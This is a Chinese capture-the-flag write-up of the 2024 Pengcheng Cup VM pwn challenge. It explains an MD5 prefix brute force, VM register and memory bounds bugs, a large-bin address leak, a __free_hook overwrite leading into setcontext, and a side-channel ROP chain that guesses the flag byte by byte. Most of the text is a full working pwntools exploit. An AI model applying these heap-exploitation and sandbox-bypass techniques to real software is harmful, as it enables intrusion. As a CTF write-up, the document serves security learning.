[鹏城杯 2024] 零解pwn题VM详细图解

[鹏城杯 2024] 零解pwn题VM详细图解

前言

这又是一道我通宵做出的vm题,花了10个小时(我可真是进步飞快)

好像从做出强网杯prpr那次起,我对这种0解的vm题不再有敬畏,而是有一种疯狂的渴求。

通宵做在赛场上打不出来的vm题,天亮以后发一个朋友圈,对我似乎已经是家常便饭。

这道题有点套娃,在最外面套了一个密码检验的逻辑,在比赛中我想当然地以为这是在pwn题外面套了一个逆向题,就把这题丢给了re手。

直到一个多小时后我们队的逆向手告诉我这是一个md5检验,然后我才开始想种种方法去破解这个md5,写脚本爆,上cmd5爆,都没爆出来。

又过了n个小时,一拍脑门,这个密文中间怎么带了00。

总之,当我下定决心开始做它的时候我已经做不完了。

我在赛场上逆了2个小时,逆完了它的基本逻辑,这题自然没有prpr难缠。然后晚上七点比赛结束,去吃饭,去休息,去陪女朋友。

晚上十一点再次捡了起来,战至第二天早上七点。

概述

这个md5检验算是一个小彩蛋,并不算本题的难点。本题的真正难点在于其沙箱。

怕有人摸不着头脑我在这里提一句,seccomp-tools工具必须运行到沙箱开启才能识别沙箱,本题前面的密码检验无法通过手工输入绕过,所以我把密码检验patch掉了,所以这里随便输入了个123就接触到了沙箱。

此沙箱只允许open,read,brk,close通过(brk,close这两个系统调用真是多余,本来也无法正常退出)。所以本题属于ORW缺W的情况,且本题无mprotect,无法使用shellcode,使用了白名单,哪怕可以使用shellcode,也无法用不同系统调用绕过沙箱。

此时,有经验的pwn手们应该感应到了,这是一道考察侧信道攻击的题目。

本题的几个模块都不算太难,但都是及其吃时间和脑洞的方向。一言以蔽之,本题为:

逆向+md5爆破+字符串截断知识点+常规vm+large bin+free_hook+magic_gadget+setcontext+ORW+侧信道

究极套娃,这题拆成3题每个都是好题,但凑在一块放到一个10小时的比赛似乎有点变态。

密码绕过

本题的核心部分是一个经典的vm shellcode_loader,需要找到vm指令集的漏洞方可沙箱逃逸攻击成功

但在此之前存在check函数挡住了我们的去路

里面存在很多字符串分割和字符串比较的操作,逆向难度不大,很快找到输入格式:

LOGIN:root\nxxxxx:h3r3_1s_y0u2_G1ft!&&<A开头的密码>\nDONE&&EXIT

这个密码如何得到呢,我队re手在动调后得出结论,本题将密码md5后和程序中原本存在的s1对比。

可以看到,这个s1的第三项为00,即strcmp函数只会比较三位md5,所以我们只需一个以A开头且md5前3字节为 1D 6C 00的字符串即可通过检验

爆破脚本

我这里选择爆破所有字符,包括不可见字符,使用一个create_s函数,通过数字生成对应的字符串。

import hashlib
def create_s(num):
    s = ""
    while num:
        s += chr(num % 0xFF)
        num = num // 0xFF
    return s

i=0
while 1:
    prefix = 'A'
    string_to_hash = prefix + create_s(i)
    hash_object = hashlib.md5(string_to_hash.encode())
    hash_hex = hash_object.hexdigest()
    if hash_hex[:6] == "1d6c00":
        print(i)
        print(string_to_hash.encode())
        print(f"找到字符串: {hash_hex}")
        break
    i+=1

爆破得很快,密码这一关正式通过

密码:

b"LOGIN:root\nxxxxx:h3r3_1s_y0u2_G1ft!&&A\xc2\x9e\x11i\nDONE&&EXIT"

逆向VM

逆向内存结构

逆向一个vm指令集之前,先逆向其内存可以事半功倍

抓住程序中的malloc函数,找到其内存结构

如果你经常做vm,看到这种函数肯定不陌生。它先归零了8块内存。然后将一个内存指针挂到了第九块上

然后把这个指针加了一个去除低3位的size

之后把size除8放到了第12块里

这种函数逆向起来so easy,只看一个函数就能逆出一整个结构体

前面我提到这些,完全符合在申请一个栈的情况,a1[8]为栈顶,a1[9]为栈底,a1[11]为栈高度,那么合理推理,a1的0~7肯定就是通用寄存器了

直接逆向出一个结构体(eip是在do_shellcode逆出来的)

将结构体绑定到函数里的内存,函数就十分美观了,这一个函数直接带出了一整个vm的内存分配,赚大了

内存结构图如下

初始状态内存布局

逆向指令集

拥有了内存的力量,逆向出整个程序是必然的,由于这个vm指令都在一个swtich里面,不是在函数里面,只能用注释标注功能了

我们并不需要将每个功能的用法转为python脚本,需要一直看,找到存在漏洞的点,结合漏洞的需求去逆向输入格式

漏洞发现

吐槽一下,这题套的娃挺多,但实际的漏洞挺低级的

漏洞1(mov r2 ,r1时未检测r2下标)

此题用check_num函数和check_2_num 在使用寄存器时检验其下标是否越界

这里,在mov r2 to r1时,只对r1的下标作了检测,忽略了r2的下标,从而可以造成一个任意地址读到vm寄存器

漏洞2(mov [r1],r2时未检验 r1的地址越界)

一个不算漏洞的问题(realloc时可以创造一个large bin check)

利用链设计

首先要明确的一点是,本题没有任何输出可以使用,所以我们永远无法知道libc基地址和heap_base,但我们的vm寄存器中可以通过漏洞获得它们

创造一个largebin chunk,在堆中留下libc地址和heap地址

初始状态内存布局

这个堆结构太明显了,这明显就是出题人的预期解,他让stack处于register的下方,方便读取。让stack初始大小为0x510超过tcache范围,让shellcode处于stack下方,阻止stack合并到top chunk

所以只需要realloc一个大于0x510的块即可释放原有的stack,并申请原有stack无法满足的大小,即可将stack放入large bin内,可以同时残留libc和heap指针

之后再次realloc,即可创造一个大小合适且残留有指针的stack

ps:这里想到了更省事的获取地址的方法,即直接realloc(0x180),获得一个unsorted bin 即可,堆地址可以在rsp中获得,但我原本的思路也不复杂,不改了

realloc后的内存布局

再次realloc后的内存布局

stack中指针残留仍然存在

利用漏洞1,向寄存器中存入libc和heap地址

提前计算出残留的指针距离寄存器的偏移

将libc地址存入r0,heap地址存入r1

之后通过调试,为这两个寄存器减去它们到基地址的偏移量

自此我们得到了两个存有基地址的vm寄存器

进行n次push,将需要的所有数据填入vm_stack

在上一步中已经得到了heap的基地址,因此,填入vm_stack的全部数据地址均已知

在触发free_hook 时,本chunk会被传入rdi,随后在magic_gadget 中使用。

并且本chunk也要作为栈迁移的栈

所以这里我们需要push的数据有:

使用magic_gadget 时需要填充的指针,使用setcontext时需要填充的寄存器,setcontext后需要迁移到的rop链,猜测的flag

填充的所有数据如下,在编写攻击脚本部分会解释其内容

向vm寄存器中写入magic_gadget和free_hook地址

由于本题libc高于2.29,setcontext依赖的指针变为了rdx,需要一个magic_gadget过渡

使用ROPgadget工具结合grep过滤找到这条gadget

寄存器0中存有libc基地址,加上到free_hook的偏移,移入r2,变为free_hook的真实地址

同理,将magic_gadget移入r3

利用漏洞2,将magic_gadget写入free_hook,并free触发

利用存在漏洞的mov_r_to_memory,将r3中的magic_gadget地址写入 [r2] free_hook

随后,调用一次realloc功能

触发free_hook,进入magic_gadget重设rdx,进入setcontext完成寄存器重设和栈迁移,跳入先前设置的rop链

集成try_flag函数,并编写爆破脚本

提前填入栈中的rop链是一种侧信道ROP链,使用strcmp+syscall实现,可以判断填入的字符串前n位是否和flag相等,详情可参考我的另外一篇文章https://xz.aliyun.com/t/16226

通过逐位爆破得到正确的flag

复现环境已上传

exp

# -*- coding: utf-8 -*-
from pwn import *
from std_pwn import *


context(os='linux', arch='amd64',log_level="debug", terminal=['tmux','splitw','-h'])
libc=ELF("./libc-2.31.so")

###############################################################
#根据逆向结果,编写vm_shellcode生成函数
vm_shellcode = b""

def add_r(r_num, num):
    global vm_shellcode
    vm_shellcode += p8(0x61) + p8(1) + p8(r_num) + p64(num)

def sub_r(r_num, num):
    global vm_shellcode
    vm_shellcode += p8(0x63) + p8(1) + p8(r_num) + p64(num)

def mov_r2_t_r1(r1, r2):
    global vm_shellcode
    vm_shellcode += p8(0x12) + p8(4) + p8(r1) + p8(r2)

def realloc(size):
    global vm_shellcode
    vm_shellcode += p8(20) + p32(size)

def mov_r_to_memory(r_memory,r):
    global vm_shellcode
    vm_shellcode+=p8(0x12)+p8(16)+p8(r_memory)+p8(r)

def push(data):
    global vm_shellcode
    vm_shellcode+=p8(0xb4)+p8(1)+p64(data)

def push_r(r):
    global vm_shellcode
    vm_shellcode+=p8(0xb4)+p8(0)+p8(r)

def pop_r(r):
    global vm_shellcode
    vm_shellcode+=p8(0xb2)+p8(r)


def push_libc_addr(offset):
    mov_r2_t_r1(2,0)
    add_r(2,offset)
    push_r(2)

def push_heap_addr(offset):
    mov_r2_t_r1(2,1)
    add_r(2,offset)
    push_r(2)

############################################################
#绕过密码检测
def create_s(num):
    s=""
    while num:
        s+=chr(num%0xFF)
        num=num//0xFF
    return s


def pwn_flag(guess_flag):
    global vm_shellcode
    vm_shellcode=b""
    p=getProcess("10.81.2.238",10033,"./vm")

    sla("cmd:",b"LOGIN:root\nxxxxx:h3r3_1s_y0u2_G1ft!&&"+b'A\xc2\x9e\x11i'+b"\nDONE&&EXIT")

    # gdba()

###########################################################
#设置libc和heap偏移以及gadget地址
    libc_offset=0x07fce9887ea10-0x7fce98692000+0x600
    heap_offset=0x5593d1731300-0x5593d1731000

    free_hook=libc.sym["__free_hook"]
    magic_gadget=0x151990

    pop_rax=0x36174
    pop_rdi=0x23b6a
    pop_rsi=0x2601f
    pop_rdx=0x142c92

    syscall_ret=0x630A9
    ret=0x5506E
    #0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]


###########################################################
#开始编辑vm_shellocode
#通过realloc制造出地址残留,利用漏洞越界读入寄存器0和1,并减去偏移,使其成为基地址,以后不再修改这两个寄存器
    '''
    0  存libc_base
    1  存heap_base
    '''

    realloc(0x800)
    realloc(0x180)
    mov_r2_t_r1(0,14)
    sub_r(0,libc_offset)

    mov_r2_t_r1(1,16)
    sub_r(1,heap_offset)

###########################################################
#将猜测的flag push入栈底,并预设一个./flag
    length=len(guess_flag)
    flag=flag.ljust(0x40,b"\x00")
    reversed_byte_str = flag[::-1]
    guess_flag_list=[]
    for i in range(8):
        hex_int = int(reversed_byte_str[i*8:8+i*8].hex(), 16)
        guess_flag_list.append(hex_int)


    for i in range(8):
        push(guess_flag_list[i])


    # 0x67616c662f2e  ./flag
    push(0)
    push(0x67616c662f2e)

###########################################################
#push入一条ROP链(倒着铺)
#ROP链内容:
#open("./flag",only_read)+read(0,len(guess_flag))+strcmp(guess_flag,flag)+syscall

    push_libc_addr(syscall_ret)

    push(0x40)

    push_libc_addr(pop_rdx)


    push(0)


    push_libc_addr(pop_rdi)

    push_libc_addr(0xAA3B0)

    push_heap_addr(0x500)

    push_libc_addr(pop_rsi)

    push_heap_addr(0x450)

    push_libc_addr(pop_rdi)


    push_libc_addr(libc.sym['read'])

    push_heap_addr(0x500)

    push_libc_addr(pop_rsi)

    push(3)

    push_libc_addr(pop_rdi)



    push_libc_addr(syscall_ret)


    push(2)

    push_libc_addr(pop_rax)

################################################
#预设一块用来做magic_gadget+setcontext的空间
#setcontext的设置的寄存器我懒得算了,push进去不一样的数字,gdb过去找想修改的寄存器值
#然后写几个if就可以设置寄存器的值了
    for i in range(0xc,0x1d):
        if i==0xc:
            push_libc_addr(ret)
        elif i==0x13:#rsi
            push(4)
        elif i==0x10:#rdx
            push(length)
        elif i == 0x14: #rdi
            push_heap_addr(0x300+0x140)

        elif i == 0xd:
            push_heap_addr(0x3b0)
        else:
            push(i)

#magic_gadget的返回地址
    push_libc_addr(0x054F5D)
#magic_gadget的栈迁移地址
    push_heap_addr(0x300)

    push(0)

###########################################################
# 利用漏洞修改free_hook为magic_gadet,free掉stack ,触发magic_gadet+setcontext
    mov_r2_t_r1(2,0)
    add_r(2,free_hook)

    mov_r2_t_r1(3,0)
    add_r(3,magic_gadget)

    mov_r_to_memory(2,3)
    realloc(0x800)

    # gdba()
    sla("?hahaha:\n",vm_shellcode)


###########################################################
#通过recv判断程序是否存活
    try:
        p.recv(5, timeout=1)
        p.close()
        return True
    except:
        p.close()
        return False


##########################################################
#利用以上编写的try_flag函数逐位爆破flag

flag=b"flag{"
my_list = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)] + ['_', '{', '}',"!","'"]
i=1
while 1:
    if flag[-1:]==b"}":
            # break
            ...
    for c in my_list:
        print(f"侧信道攻击,第{i}次尝试")
        sleep(1)
        if pwn_flag(flag+c.encode()):
            flag+=c.encode()
            print("一次攻击成功:"+flag.decode())
            sleep(5)
        else:
            print("字符"+c+"不是正确的字符")
            print("目前已知flag:"+flag.decode())
        i+=1

print(flag)
附件:
1 条评论
某人
表情
可输入 255